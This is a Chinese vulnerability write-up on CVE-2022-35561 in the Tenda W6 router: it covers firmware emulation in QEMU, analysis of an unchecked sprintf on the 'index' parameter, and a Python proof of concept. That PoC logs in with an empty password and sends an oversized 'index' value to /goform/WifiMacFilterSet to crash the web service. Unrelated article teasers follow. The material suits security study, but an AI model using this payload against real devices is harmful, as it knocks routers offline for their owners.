当前位置：首页 > news >正文

【工业安全】-CVE-2022-35561- Tenda W6路由器栈溢出漏洞

news 来源：原创 2025/5/10 6:47:40

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析

　4.1：代码分析

　4.2：流量分析

5.poc代码：

1.漏洞描述

漏洞编号：CVE-2022-35561

漏洞名称：Tenda W6 栈溢出漏洞

威胁等级：高危

漏洞详情：Tenda W6 /goform/WifiMacFilterSet存在栈溢出漏洞，攻击者可利用该漏洞通过index参数造成拒绝服务（DoS）

影响范围：固件版本 V1.0.0.9(4122)

2.环境搭建

qemu-user系统编译：创建qemu目录，下载qemu-2.5.0.tar.bz2:

https://download.qemu.org/qemu-2.5.0.tar.bz2

1.将下载后的qemu-2.5.0.tar.bz2解压。

2.查找目录linux-user。

3.给目录linux-user的elfload.c 文件中struct elfhdr *ehdr函数中添加&& ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件。

#配置qemu-user系统:

$./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static --python=/usr/bin/python2.7

#编译qemu:

$make -j8

#安装qemu:

$sudo make install

安装成功。

3.漏洞复现

在/home/CVE-2022-35561目录下，用qemu-usr用户模式模拟，把固件模拟运行起来。

1.首先在CVE-2022-35555.py同级目录下，binwalk -eM 解压US_W6V1.0BR_V1.0.0.9(4122)_CN.bin文件。

2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令，查看下设备的cpu 架构。

命令：file ./bin/httpd

可知Tenda W6路由器的httpd是基于MIPS 架构的 32 位小端序可执行文件。

3.给httpd文件可执行权限，命令：chmod +x tdhttpd

4.复制squashfs-root目录下的webroot_ro文件到webroot中

命令：

rm -rf webroot

ln -s webroot_ro/ webroot

5.将user/local/bin目录下qemu-mipsel文件复制到squashfs-root目录，重命名为qemu-mipsel-static。

注意：如果安装过（或有其它原因）qemu-mipsel可能被重命名为qemu-usr-mipsel

执行模拟命令，sudo qemu-mipsel-static -L . ./bin/httpd

但是卡在这里了，在IDA里面看一下httpd，搜索 welcome，发现是因为有一个check_network检查。把两处“jalr $t9”改为 “li $v0,1”，就能通过检查。

具体修改时，先在 https://disasm.pro/ 上查一下汇编对应的十六进制：

6.将path 后的httpd 替换原来的文件。

重新给httpd文件可执行权限，进入squashfs-root目录，打开终端。

执行命令： sudo qemu-mipsel-static -L . ./bin/httpd

很长，请忽略。

直接看有用的部分：

路由器运行在80端口。

ifconfig

得到本机ip，在浏览器中访问：192.168.124.153:80

用户名和密码都保持为空，登录后获得如下界面：

Poc执行：

在PoC_repo目录下打开终端，命令：python3.8 MSF_IOT.py

show exploits

use CVE-2022-35561

ip:192.168.124.153

端口：80

run

因受到攻击网页无法访问，漏洞执行成功

4.漏洞分析

4.1：代码分析

使用 binwalk -e 解包固件，获得文件以备后续分析：

根据漏洞通告/goform/WifiMacFilterSet请求会触发漏洞，查找可执行文件httpd。

可知httpd位于：

_US_W6V1.0BR_V1.0.0.9(4122)_CN.bin.extracted/squashfs-root/bin/httpd

在ida中查找函数：WifiMacFilterSet

sprintf 函数的格式化字符串中使用了 v10 的值。

v10是通过调用 websGetVar 函数获取到的名为 "index" 变量的值。

函数的第一个参数 a1 表示 HTTP 请求句柄，第二个参数 "index" 是需要获取的变量的名称，第三个参数 "0" 则是变量的默认值，当名为 "index" 的变量不存在时，将返回一个字符串 "0"。

"wl2g.ssid" 和 "." 固定占用10字节。

v10 实际可用空间为 32 -10-1 = 21（减去1是因为字符串需要一个空终止符 '\0'）。

但是这里没有对 v10 的长度进行检查和限制，就可能导致 sprintf 函数将一个较长的字符串写入 v12 中，覆盖掉其他数据，造成栈溢出漏洞。

故我们可以构造：

http://<ip router>/goform/WifiMacFilterSet+"index="+超长字符串覆盖掉其他数据，造成溢出。

4.2：流量分析

5.poc代码：

代码复现时环境ip为 192.168.241.131

import requests
from pwn import *burp0_url = "http://192.168.241.131/login/Auth"
burp0_headers = {"Host":"192.168.241.131",
"Content-Length":"65",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}data0 = 'usertype=admin&password=&time=2023;5;31;19;51;6&username='
requests.post(burp0_url,headers=burp0_headers,data=data0, verify=False,timeout=1)burp1_url = "http://192.168.241.131/goform/WifiMacFilterSet"
burp1_headers = {"Host":"192.168.241.131",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}data1="index="+'a'*0x300requests.post(burp1_url,headers=burp1_headers,data=data1, verify=False,timeout=1)

实现了两个HTTP POST请求，第一个用来登录，第二个用来执行漏洞利用。

【工业安全】-CVE-2022-35561- Tenda W6路由器栈溢出漏洞

文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析 4.1：代码分析 4.2：流量分析 5.poc代码： 1.漏洞描述漏洞编号：CVE-2022-35561 漏洞名称：Tenda W6 栈溢出漏洞威胁等级：高危漏洞详情&#xff1…...

编程日记 2025/5/10 6:47:40

Windows环境管理多个node版本

前言在实际工作中，如果我们基于Windows系统开发，同时需要维护老项目，又要开发新项目，且不同项目依赖的node版本又不同时，那么就需要根据项目切换不同的版本。本文使用Node Version Manager（nvm&#xff0…...

编程日记 2025/5/9 18:26:07

git 沙盒下（二）

url ：Learn Git Branching 高级git 多次Rebase 最开始我先把bugFix分支先rebase到main上，之后再把c7合并到c6 ，之后就差合并为一个分支了，但是无论移动c7还是another分支都无法合并，都会在原地停留后来根据提示最…...

编程日记 2025/5/10 6:29:41

基于JavaSpringmvc+myabtis+html的鲜花商城系统设计和实现

基于JavaSpringmvcmyabtishtml的鲜花商城系统设计和实现 🍅 作者主页网顺技术团队 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 🍅 文末获取源码联系方式 📝 🍅 查看下方微信号获取联系方式承接各种定制系…...

编程日记 2025/5/10 3:43:26

vue-plugin-hiprint （vue2

页面效果 <template><div><div class"d-flex flex-column mt5"><div class"d-flex flex-row " style"margin-bottom: 10px;justify-content: center;"><div class"paper&quo…...

编程日记 2025/5/10 5:51:38

网站地址栏怎么变成HTTPS开头？

在当今的数字世界中，网络安全已成为不可或缺的一部分。对于网站管理员和所有者来说，确保访问者数据的安全和隐私至关重要。HTTPS是一种加密的通信协议，通过在客户端和服务器之间建立安全连接来保护数据传输。将网站从HTTP升级到HTTPS不仅提升…...

编程日记 2025/5/10 5:28:12

手机用流量怎样设置代理ip?

互联网各领域资料分享专区(不定期更新)： Sheet...

编程日记 2025/5/1 18:08:48

Web渗透实战--XSS 常用语句以及绕过思路

Web渗透实战–XSS 常用语句以及绕过思路 0x01：干货 - XSS 测试常用标签语句 0x0101： 标签 <a hrefjavascript:console.log(1)>XSS1</a> &…...

编程日记 2025/5/10 5:34:14

哈希表-两个数的交集

代码随想录-刷题笔记 349. 两个数组的交集 - 力扣（LeetCode） 内容: 集合的使用 , 重复的数剔除掉，剩下的即为交集，最后加入数组即可。 class Solution {public int[] intersection(int[] nums1, int[] nums2) {Set<Integer…...

编程日记 2025/5/10 6:32:50

“数字+实体“双引擎发力树莓集团打造翠屏区首个智慧产业孵化标杆

2025 年 2 月 13 日，宜宾市翠屏区招商引资项目集中签约活动圆满举行。树莓集团产业合作总监童曦鸣代表企业出席并签约，将在翠屏区打造数字经济示范项目。此次签约，树莓集团将以 “数字实体” 双引擎发力。在数字产业化方面，凭…...

编程日记 2025/5/10 6:34:55

PostgreSQL 数据库压力测试指南

一、为什么需要压力测试？ 数据库需要进行压力测试的原因主要包括以下几个方面： 性能评估：通过压力测试，可以了解数据库在高负载情况下的性能表现，包括响应时间、吞吐量和资源利用率等。这有助于确定系统的性能瓶颈。 …...

编程日记 2025/5/10 6:21:24

npm : 无法加载文件 C:\nvm\v20.11.1\npm.ps1，因为在此系统上禁止运行脚本。有关详细信息，请参阅

在vscode中运行前端项目时npm run dev 报错：npm : 无法加载文件 C:\nvm\v20.11.1\npm.ps1，因为在此系统上禁止运行脚本。有关详细信息，请参阅 https:/go.microsoft.com/fwlink/?LinkID135170 中的 about_Execution_Policies。所在位置行:1…...

编程日记 2025/5/1 18:09:37

-bash:/usr/bin/rm: Argument list too long 解决办法

问题概述小文件日志太多导致无法使用rm命令，因为命令行参数列表的长度超过了系统允许的最大值。需要删除/tmp目录下的所有文件，文件数量比较多。 ls -lt /tmp | wc -l 5682452 解决方法如下： 使用find -exec 遍历，然后执行删…...

编程日记 2025/5/9 13:33:00

【deepseek 部署中的常见问题及解决方案--亲测有效】

deepseek 部署中的常见问题及解决方案一、环境与安装相关问题二、配置相关问题三、运行与性能问题四、其他常见问题一、环境与安装相关问题 Python版本不兼容问题描述：在部署DeepSeek时，系统提示Python版本不兼容。解决方法：DeepSeek推荐…...

编程日记 2025/5/9 17:18:21

【React】react-redux+redux-toolkit实现状态管理

安装 npm install reduxjs/toolkit react-reduxRedux Toolkit 是官方推荐编写Redux的逻辑方式，用于简化书写方式React-redux 用来链接Redux和React组件之间的中间件使用定义数据创建要管理的数据模块 store/module/counter.ts import { createSlice, Payloa…...

编程日记 2025/5/10 6:25:33

LabVIEW用户界面（UI）和用户体验（UX）设计

作为一名 LabVIEW 开发者，满足功能需求、保障使用便捷与灵活只是基础要求。在如今这个用户体验至上的时代，为 LabVIEW 应用程序设计直观且具有美学感的界面，同样是不容忽视的关键任务。一个优秀的界面设计，不仅能提升用户对程序的…...

编程日记 2025/5/9 8:05:25

期权帮 | 场外个股期权可以做吗，风险高吗?

锦鲤三三每日分享期权知识，帮助期权新手及时有效地掌握即市趋势与新资讯！ 场外个股期权可以做吗，风险高吗? 场外个股期权，就是在正式的交易所之外进行交易的个股期权。注：这里的“场外”指的是这类交易不在像沪深…...

编程日记 2025/5/10 6:19:20

【Viper】配置格式与支持的数据源与go案例

Viper 是一个用于 Go 应用程序的配置管理库，支持多种配置格式和数据源。安装依赖 go get github.com/spf13/viper go get github.com/spf13/viper/remote go get go.etcd.io/etcd/client/v3"github.com/spf13/viper/remote"要写在etcd客户端import里 1…...

编程日记 2025/5/10 3:06:50

【工具变量】地级市数字基础设施水平数据（2003-2024年）

一、数据来源：数据涵盖了2003-2024年间地级市新型数字基础设施的发展水平测量值。数据的核心来自地方政府工作报告中提及的相关词汇，并通过对这些报告的分词和频次统计，得出每个城市在该领域的数字基础设施发展水平。数据覆盖全国285个地级市…...

编程日记 2025/5/10 6:03:58

Ae：常见的光照控件和材质控件

在 After Effects中，几种模拟效果都有类似的光照控件和材质控件，比如，焦散、卡片动画、碎片等。光照控件和材质控件允许用户模拟不同光源、阴影和高光效果，控制表面反射特性，从而实现真实的光照和反射模拟。适用于材质…...

编程日记 2025/5/10 6:23:30

POI 的 Excel 读写操作教程

POI 的 Excel 读写操作教程一、POI 简介 Apache POI 是一款在 Java 开发中广受欢迎的开源库，主要用于处理各种 Microsoft Office 文件格式，Excel 文件便是其中之一。凭借其功能强大的 API，POI 不仅支持对 Excel 文件的读取、写入和修改&am…...

编程日记 2025/5/9 16:36:02

java处理pgsql的text[]类型数据问题

背景公司要求使用磐维数据库，于是去了解了这个是基于PostgreSQL构建的，在使用时有场景一条图片数据中可以投放到不同的页面，由于简化设计就放在数组中，于是使用了text[]类型存储；表结构 #这是一个简化版表结构&…...

编程日记 2025/5/10 6:30:44

数据结构：Map Set(一)

目录一、搜索树 1、概念 2、查找 3、插入 4、删除二、搜索 1、概念及场景 2、模型 （1）纯key模型 （2）Key-Value模型三、Map的使用 1、什么是Map？ 2、Map的常用方法 （1）V put(K …...

编程日记 2025/5/10 6:42:04

Ansible 自动化 Linux 运维：解放你的双手，让运维变得简单

Ansible 自动化 Linux 运维：解放你的双手，让运维变得简单在现代 IT 运维中，随着系统规模的不断扩展，如何高效地管理和维护大量的服务器成为了一项巨大挑战。传统的手动操作不仅费时费力，还容易出错。而 Ansible 作为一款开源的自动化运维工具，凭借其易用性和强大的功能…...

编程日记 2025/5/10 6:33:53

不需要移植和配置xinetd 等相类似执行文件，tftp-hpa服务器交叉移植使用说明

tftp-hpa-5.2.tar.gz :下载链接 https://download.csdn.net/download/lyeffort/90361414 tar -xvf tftp-hpa-5.2.tar.gz -C /root/tftpd/ # ./autogen.sh # export PATH/root/linux-arm-tools/mips-linux-gclibc/bin:$PATH # mkdir /root/tftpd/install # ./configure --h…...